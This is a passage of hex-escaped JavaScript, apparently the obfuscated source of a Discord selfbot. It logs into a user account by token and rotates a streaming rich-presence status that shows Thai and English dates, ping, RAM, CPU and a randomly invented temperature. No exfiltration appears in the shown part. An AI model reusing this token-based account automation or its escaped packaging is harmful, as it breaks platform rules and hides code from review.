y:\x20\x222-digit\x22\x20}).replace(/[0-9]/g,\x20digit\x20=>\x20stylizedDigits[digit]);\x0a\x20\x20\x20\x20const\x20month\x20=\x20date.getMonth()\x20+\x201;\x0a\x20\x20\x20\x20const\x20customMonthName\x20=\x20monthNames[month\x20-\x201]\x20||\x20\x27𝟎𝟏\x27;\x0a\x20\x20\x20\x20const\x20year\x20=\x20date.getFullYear().toString().replace(/[0-9]/g,\x20digit\x20=>\x20stylizedDigits[digit]);\x0a\x20\x20\x20\x20return\x20`${day}/${customMonthName}/${year}`;\x0a}\x0afunction\x20getCurrentDayy()\x20{\x0a\x20\x20\x20\x20const\x20datee\x20=\x20new\x20Date();\x0a\x20\x20\x20\x20const\x20options\x20=\x20{\x20timeZone:\x20\x22Asia/Bangkok\x22,\x20day:\x20\x222-digit\x22,\x20month:\x20\x22numeric\x22,\x20year:\x20\x22numeric\x22\x20};\x0a\x20\x20\x20\x20const\x20monthNamess\x20=\x20[\x22มกราคม\x22,\x20\x22กุมภาพันธ์\x22,\x20\x22มีนาคม\x22,\x20\x22เมษายน\x22,\x20\x22พฤษภาคม\x22,\x20\x22มิถุนายน\x22,\x20\x22กรกฎาคม\x22,\x20\x22สิงหาคม\x22,\x20\x22กันยายน\x22,\x20\x22ตุลาคม\x22,\x20\x22พฤศจิกายน\x22,\x20\x22ธันวาคม\x22];\x0a\x20\x20\x20\x20const\x20dayy\x20=\x20datee.toLocaleString(\x22en-US\x22,\x20{\x20timeZone:\x20\x22Asia/Bangkok\x22,\x20day:\x20\x222-digit\x22\x20}).replace(/[0-9]/g,\x20digit\x20=>\x20stylizedDigits[digit]);\x0a\x20\x20\x20\x20const\x20monthh\x20=\x20datee.getMonth()\x20+\x201;\x0a\x20\x20\x20\x20const\x20customMonthNamee\x20=\x20monthNamess[monthh\x20-\x201]\x20||\x20\x27มกราคม\x27;\x0a\x20\x20\x20\x20const\x20yearr\x20=\x20datee.getFullYear().toString().replace(/[0-9]/g,\x20digit\x20=>\x20stylizedDigits[digit]);\x0a\x20\x20\x20\x20return\x20`${dayy}/${customMonthNamee}/${yearr}`;\x0a}\x0afunction\x20getCurrentDateEG()\x20{\x0a\x20\x20\x20\x20const\x20datee\x20=\x20new\x20Date();\x0a\x20\x20\x20\x20const\x20options\x20=\x20{\x20timeZone:\x20\x22Asia/Bangkok\x22,\x20day:\x20\x222-digit\x22,\x20month:\x20\x22numeric\x22,\x20year:\x20\x22numeric\x22\x20};\x0a\x20\x20\x20\x20const\x20monthNamess\x20=\x20[\x22𝐉𝐚𝐧𝐮𝐚𝐫𝐲\x22,\x20\x22𝐅𝐞𝐛𝐫𝐮𝐚𝐫𝐲\x22,\x20\x22𝐌𝐚𝐫𝐜𝐡\x22,\x20\x22𝐀𝐩𝐫𝐢𝐥\x22,\x20\x22𝐌𝐚𝐲\x22,\x20\x22𝐉𝐮𝐧𝐞\x22,\x20\x22𝐉𝐮𝐥𝐲\x22,\x20\x22𝐀𝐮𝐠𝐮𝐬𝐭\x22,\x20\x22𝐒𝐞𝐩𝐭𝐞𝐦𝐛𝐞𝐫\x22,\x20\x22𝐎𝐜𝐭𝐨𝐛𝐞𝐫\x22,\x20\x22𝐍𝐨𝐯𝐞𝐦𝐛𝐞𝐫\x22,\x20\x22𝐃𝐞𝐜𝐞𝐦𝐛𝐞𝐫\x22];\x0a\x20\x20\x20\x20const\x20dayy\x20=\x20datee.toLocaleString(\x22en-US\x22,\x20{\x20timeZone:\x20\x22Asia/Bangkok\x22,\x20day:\x20\x222-digit\x22\x20}).replace(/[0-9]/g,\x20digit\x20=>\x20stylizedDigits[digit]);\x0a\x20\x20\x20\x20const\x20monthh\x20=\x20datee.getMonth()\x20+\x201;\x0a\x20\x20\x20\x20const\x20customMonthNamee\x20=\x20monthNamess[monthh\x20-\x201]\x20||\x20\x27𝐉𝐚𝐧𝐮𝐚𝐫𝐲\x27;\x0a\x20\x20\x20\x20const\x20yearr\x20=\x20datee.getFullYear().toString().replace(/[0-9]/g,\x20digit\x20=>\x20stylizedDigits[digit]);\x0a\x20\x20\x20\x20return\x20`${dayy}/${customMonthNamee}/${yearr}`;\x0a}\x0afunction\x20getCurrentDayThai()\x20{\x0a\x20\x20\x20\x20const\x20date\x20=\x20new\x20Date();\x0a\x20\x20\x20\x20const\x20dayNames\x20=\x20[\x22อาทิตย์\x22,\x20\x22จันทร์\x22,\x20\x22อังคาร\x22,\x20\x22พุธ\x22,\x20\x22พฤหัสบดี\x22,\x20\x22ศุกร์\x22,\x20\x22เสาร์\x22];\x0a\x20\x20\x20\x20const\x20dayIndex\x20=\x20date.getDay();\x0a\x20\x20\x20\x20return\x20dayNames[dayIndex];\x0a}\x0afunction\x20getCurrentDayEG()\x20{\x0a\x20\x20\x20\x20const\x20date\x20=\x20new\x20Date();\x0a\x20\x20\x20\x20const\x20dayNames\x20=\x20[\x22𝐒𝐮𝐧𝐝𝐚𝐲\x22,\x20\x22𝐌𝐨𝐧𝐝𝐚𝐲\x22,\x20\x22𝐓𝐮𝐞𝐬𝐝𝐚𝐲\x22,\x20\x22𝐖𝐞𝐝𝐧𝐞𝐬𝐝𝐚𝐲\x22,\x20\x22𝐓𝐡𝐮𝐫𝐬𝐝𝐚𝐲\x22,\x20\x22𝐅𝐫𝐢𝐝𝐚𝐲\x22,\x20\x22𝐒𝐚𝐭\x22];\x0a\x20\x20\x20\x20const\x20dayIndex\x20=\x20date.getDay();\x0a\x20\x20\x20\x20return\x20dayNames[dayIndex];\x0a}\x0afunction\x20formatBytes(bytes,\x20decimals\x20=\x202)\x20{\x0a\x20\x20\x20\x20if\x20(bytes\x20===\x200)\x20return\x20\x270\x20Bytes\x27;\x0a\x20\x20\x20\x20const\x20k\x20=\x201024;\x0a\x20\x20\x20\x20const\x20dm\x20=\x20decimals\x20<\x200\x20?\x200\x20:\x20decimals;\x0a\x20\x20\x20\x20const\x20sizes\x20=\x20[\x27Bytes\x27,\x20\x27KB\x27,\x20\x27MB\x27,\x20\x27GB\x27,\x20\x27TB\x27];\x0a\x20\x20\x20\x20const\x20i\x20=\x20Math.floor(Math.log(bytes)\x20/\x20Math.log(k));\x0a\x20\x20\x20\x20return\x20parseFloat((bytes\x20/\x20Math.pow(k,\x20i)).toFixed(dm))\x20+\x20\x27\x20\x27\x20+\x20sizes[i];\x0a}\x0afunction\x20getRAMInfo()\x20{\x0a\x20\x20\x20\x20const\x20totalMemory\x20=\x20os.totalmem();\x0a\x20\x20\x20\x20return\x20`${formatBytes(totalMemory)}`;\x0a}\x0afunction\x20getCPUInfo()\x20{\x0a\x20\x20\x20\x20const\x20cpus\x20=\x20os.cpus();\x0a\x20\x20\x20\x20const\x20cpuModels\x20=\x20new\x20Set(cpus.map(cpu\x20=>\x20cpu.model));\x0a\x20\x20\x20\x20return\x20Array.from(cpuModels);\x0a}\x0afunction\x20getTemperature()\x20{\x0a\x20\x20\x20\x20const\x20center\x20=\x2025;\x0a\x20\x20\x20\x20const\x20variance\x20=\x205;\x0a\x20\x20\x20\x20const\x20temperature\x20=\x20center\x20+\x20(Math.random()\x20*\x20variance\x20*\x202\x20-\x20variance);\x0a\x20\x20\x20\x20return\x20`${temperature.toFixed(1)}`;\x0a}\x0afunction\x20getPing()\x20{\x0a\x20\x20\x20\x20const\x20ping\x20=\x20Math.round(this.medmwng.ws.ping);\x0a\x20\x20\x20\x20return\x20`${ping}`;\x0a}\x0aclass\x20GetImage\x20{\x0a\x20\x20\x20\x20constructor(client)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng\x20=\x20client;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20isValidURL(url)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20new\x20URL(url);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return\x20true;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return\x20false;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20async\x20get(userConfig,\x20ImageUrl1,\x20ImageUrl2)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20userId\x20=\x20userConfig.applicationId;\x0a\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl1\x20=\x20this.isValidURL(ImageUrl1)\x20?\x20ImageUrl1\x20:\x20null;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl2\x20=\x20this.isValidURL(ImageUrl2)\x20?\x20ImageUrl2\x20:\x20null;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(!ImageUrl1\x20&&\x20!ImageUrl2)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20throw\x20new\x20Error(\x22The\x20image\x20is\x20invalid\x22);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20{\x20getExternal\x20}\x20=\x20Discord.RichPresence;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20images\x20=\x20await\x20getExternal(this.medmwng,\x20userId,\x20ImageUrl1,\x20ImageUrl2);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(images.length\x20===\x201)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20{\x20url,\x20external_asset_path\x20}\x20=\x20images[0];\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(url\x20===\x20ImageUrl1)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl1\x20=\x20url.includes(\x22attachments\x22)\x20?\x20url\x20:\x20external_asset_path;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl2\x20=\x20null;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(url\x20===\x20ImageUrl2)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl1\x20=\x20null;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl2\x20=\x20url.includes(\x22attachments\x22)\x20?\x20url\x20:\x20external_asset_path;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(images.length\x20===\x202)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20[Images_path1,\x20Images_path2]\x20=\x20images;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(Images_path1.external_asset_path)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20{\x20url,\x20external_asset_path\x20}\x20=\x20Images_path1;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl1\x20=\x20url.includes(\x22attachments\x22)\x20?\x20url\x20:\x20external_asset_path;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(Images_path2.external_asset_path)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20{\x20url,\x20external_asset_path\x20}\x20=\x20Images_path2;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl2\x20=\x20url.includes(\x22attachments\x22)\x20?\x20url\x20:\x20external_asset_path;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20throw\x20new\x20Error(\x22The\x20image\x20is\x20invalid\x22);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return\x20{\x20BIGlargeIMAGE:\x20ImageUrl1,\x20IMAGE_small:\x20ImageUrl2\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return\x20{\x20BIGlargeIMAGE:\x20null,\x20IMAGE_small:\x20null\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x0a}\x0aclass\x20MyClient\x20extends\x20Client\x20{\x0a\x20\x20\x20\x20constructor(userConfig)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20super({\x20partials:\x20[],\x20makeCache:\x20Discord.Options.cacheWithLimits({\x20MessageManager:\x200\x20})\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.userConfig\x20=\x20userConfig;\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.cacheImage\x20=\x20new\x20Map();\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.index\x20=\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.initClient();\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20initClient()\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng\x20=\x20new\x20Discord.Client({\x20readyStatus:\x20false,\x20checkUpdate:\x20false\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.getExternal\x20=\x20new\x20GetImage(this.medmwng);\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng.once(\x27ready\x27,\x20()\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20capitalizedUsername\x20=\x20this.medmwng.user.username.toUpperCase();\x0a\x20\x20\x20\x20\x20\x20\x20\x20console.log(`\x1b[32m【\x20Succeed\x20】${capitalizedUsername}\x20${this.userConfig.applicationId}\x20\x1b[0m\x20`);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20this.updateStatus();\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20this.statusInterval\x20=\x20setInterval(()\x20=>\x20this.updateStatus(),\x204000);\x0a\x20\x20\x20\x20\x20\x20\x20\x20});\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20console_error\x20=\x20`โทเค็นผู้ใช้งานที่\x20ApplicationId\x20หมายเลข\x20:\x20${this.userConfig.applicationId}\x20ไม่ถูกต้อง!`;\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng.login(this.userConfig.token)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.catch(error\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.error(console_error);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20this.handleError(error);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20});\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20handleError(error)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(error.message.includes(\x27TOKEN_INVALID\x27)\x20||\x20error.message.includes(\x27DISALLOWED_INTENTS\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.error(`Error\x20for\x20ApplicationId\x20${this.userConfig.applicationId}:\x20${error.message}`);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.error(`Unexpected\x20error\x20for\x20ApplicationId\x20${this.userConfig.applicationId}:\x20${error.message}`);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20async\x20updateStatus()\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20function\x20replacePlaceholders(text,\x20replacements)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20for\x20(const\x20key\x20in\x20replacements)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text\x20=\x20text.replace(new\x20RegExp(key,\x20\x27i\x27),\x20replacements[key]);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return\x20text;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20ping\x20=\x20getPing.call(this);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20temperature\x20=\x20getTemperature();\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20ramText\x20=\x20getRAMInfo();\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20cpuText\x20=\x20getCPUInfo();\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20Time\x20=\x20`${getCurrentTime()}`;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20Date\x20=\x20`${getCurrentDay()}`;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20Datee\x20=\x20`${getCurrentDayy()}`;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20SundayThai\x20=\x20`${getCurrentDayThai()}`;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20SundayEG\x20=\x20`${getCurrentDayEG()}`;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20DateEG\x20=\x20`${getCurrentDateEG()}`;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20richPresence\x20=\x20new\x20Discord.RichPresence(this.medmwng)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setType(\x27STREAMING\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setApplicationId(this.userConfig.applicationId);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20detailReplacements\x20=\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27time:t\x27:\x20Time,\x20//\x20เวลานาที\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27date:n\x27:\x20Date,\x20//\x20ปฎิทินวันที่ตัวเลข\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27date:th\x27:\x20Datee,\x20//\x20ปฎิทินวันที่ภาษาไทย\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27date:eg\x27:\x20DateEG,\x20\x20\x20\x20//\x20แสดงปฎิทินวันที่ภาษาอังกฤษ\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27ping:ms\x27:\x20ping,\x20\x20//\x20ความปิง\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27temp:c\x27:\x20temperature,\x20//\x20ความร้อน\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27ram:g\x27:\x20ramText,\x20\x20//\x20แสดงแรม\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27cpu:g\x27:\x20cpuText,\x20//\x20แสดง\x20CPU\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27day:th\x27:\x20SundayThai,\x20//\x20แสดงวันของไทย\x20จันทร์\x20อังคาร.....\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27day:eg\x27:\x20SundayEG\x20\x20\x20//\x20แสดงวันของอังกฤษ\x20𝐒𝐮𝐧𝐝𝐚𝐲\x20𝐌𝐨𝐧𝐝𝐚𝐲.....\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20let\x20details\x20=\x20this.userConfig.Details[this.index];\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20details\x20=\x20replacePlaceholders(details,\x20detailReplacements);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(!details.includes(\x27-\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.setDetails(details);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20let\x20LargeText\x20=\x20this.userConfig.LargeText[this.index];\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20LargeText\x20=\x20replacePlaceholders(LargeText,\x20detailReplacements);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(!LargeText.includes(\x27-\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.setAssetsLargeText(LargeText);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20let\x20setState\x20=\x20this.userConfig.setState[this.index];\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20setState\x20=\x20replacePlaceholders(setState,\x20detailReplacements);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(!setState.includes(\x27-\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.setState(setState);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20SetlargeImageLink\x20=\x20this.userConfig.largeImageLinks[this.index];\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20SetsmallImageLink\x20=\x20this.userConfig.smallImageLinks[this.index];\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20images\x20=\x20await\x20this.getImage(SetlargeImageLink,\x20SetsmallImageLink);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(SetlargeImageLink\x20&&\x20!SetlargeImageLink.includes(\x27-\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.setAssetsLargeImage(images.BIGlargeIMAGE);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(SetsmallImageLink\x20&&\x20!SetsmallImageLink.includes(\x27-\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.setAssetsSmallImage(images.IMAGE_small);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setName(details)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setURL(this.userConfig.setURL[0])\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setStartTimestamp(Date_Time);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20isValidURL\x20=\x20url\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20new\x20URL(url);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return\x20true;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return\x20false;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(this.userConfig.link1\x20!==\x20\x27-\x27\x20&&\x20!this.userConfig.button1.includes(\x27-\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(isValidURL(this.userConfig.link1))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.addButton(this.userConfig.button1,\x20this.userConfig.link1);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(this.userConfig.link2\x20!==\x20\x27-\x27\x20&&\x20!this.userConfig.button2.includes(\x27-\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(isValidURL(this.userConfig.link2))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.addButton(this.userConfig.button2,\x20this.userConfig.link2);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng.user.setActivity(richPresence);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20this.index\x20=\x20(this.index\x20+\x201)\x20%\x20this.userConfig.largeImageLinks.length;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(error)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20originalConsoleError\x20=\x20console.error;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.error\x20=\x20()\x20=>\x20{\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.error\x20=\x20originalConsoleError;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20//\x20\x20console.error(\x27เกิดข้อผิดพลาดในการอัปเดตสถานะ:\x27,\x20error.message);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20async\x20getImage(SetlargeImageLink,\x20SetsmallImageLink)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20images\x20=\x20await\x20this.getExternal.get(this.userConfig,\x20SetlargeImageLink,\x20SetsmallImageLink);\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20finallargeImage\x20=\x20images.BIGlargeIMAGE\x20??\x20this.cacheImage.get(SetlargeImageLink);\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20finalSmallImage\x20=\x20images.IMAGE_small\x20??\x20this.cacheImage.get(SetsmallImageLink);\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(images.BIGlargeIMAGE)\x20this.cacheImage.set(SetlargeImageLink,\x20images.BIGlargeIMAGE);\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(images.IMAGE_small)\x20this.cacheImage.set(SetsmallImageLink,\x20images.IMAGE_small);\x0a\x20\x20\x20\x20\x2